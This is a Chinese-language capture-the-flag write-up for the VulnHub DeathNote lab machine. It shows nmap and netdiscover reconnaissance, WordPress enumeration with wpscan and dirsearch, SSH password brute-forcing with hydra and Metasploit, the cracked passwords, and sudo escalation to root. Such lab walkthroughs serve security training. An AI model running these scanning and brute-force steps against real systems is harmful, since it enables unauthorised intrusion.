DeathNote：01靶场实操
一 搭建环境
导入Vmware即可【打开-选择ova-确定】
二 环境配置
kali ip：192.168.32.135
deathnote ip:192.168.32.X（待定）
三 渗透操作
1 确定deathnote的ip
//通过netdiscover对deathnote的ip进行探测
netdiscover -r 192.168.32.0/24
确定靶机的ip为：192.168.32.136
2 确定靶机所开放的端口
nmap -A -p 1-65535 192.168.32.136
得到共开放2个端口，22和80
3 把host和写入文件
正常访问靶机ip：192.168.32.136，发现跳转到如下界面：
和dc-2靶机类似，只需要把ip和域名写入文件/etc/hosts，保存即可
vim /etc/hosts
然后访问，即可正常
4 获取页面信息
cms：wordpress
还得知了可能存在两个用户名和一个密码
kira 、 L 以及密码：iamjustic3
5 使用wpscan和dirsearch对wordpress进行搜查
wpscan --url http://deathnote.vuln/wordpress -e u
可以扫出来kira这个用户
dirsearch -u http://deathnote.vuln/wordpress -e * -x 403 404
6 访问登录网站，找寻有用信息
访问：deathnote.wordpress/wp-login.php
输入：kira/iamjustic3
访问notes.txt，发现都是类似与密码之类的东西
复制出来，形成字典。
7 换个方向
此时80端口的信息大概已经完成，转而去搜寻22端口的内容。
22端口，ssh服务。
爆破！
两种办法：
a 通过九头蛇hydra爆破
hydra -l l -P notes.txt ssh://192.168.32.136
| 账号 | 密码 |
|---|---|
| l | death4me |
b 通过Metasploit对ssh进行爆破
//步骤
msfconsole
search ssh_login
use auxiliary/scanner/ssh/ssh_login
show options
set USER_FILE /home/kali/Desktop/vulnhub/deathnote/user.txt //设置用户名文件
set PASS_FILE /home/kali/Desktop/vulnhub/deathnote/notes.txt //设置密码文件
set rhosts 192.168.32.136 //设置攻击IP
set threads 10 //设置线程
set VERBOSE true //设置打印日志到屏幕
run //执行
最后一样成功爆出
8 使用ssh登录获取信息
ssh 192.168.32.136 -l l
[email protected]'s password:death4me //密码在ssh并无回显
发现编码为brins，也可以叫做ook，解码
https://www.splitbrain.org/services/ook
https://ctf.bugku.com/tool/brainfuck
i think u got the shell , but you wont be able to kill me -kira
没用，继续找
发现一串十六进制字符，然后转码CyberChef (gchq.github.io)
passwd : passwd : kiraisevil
9 切换用户就行
sudo kira
sudo -l 满权限
sudo su
查看/root就好
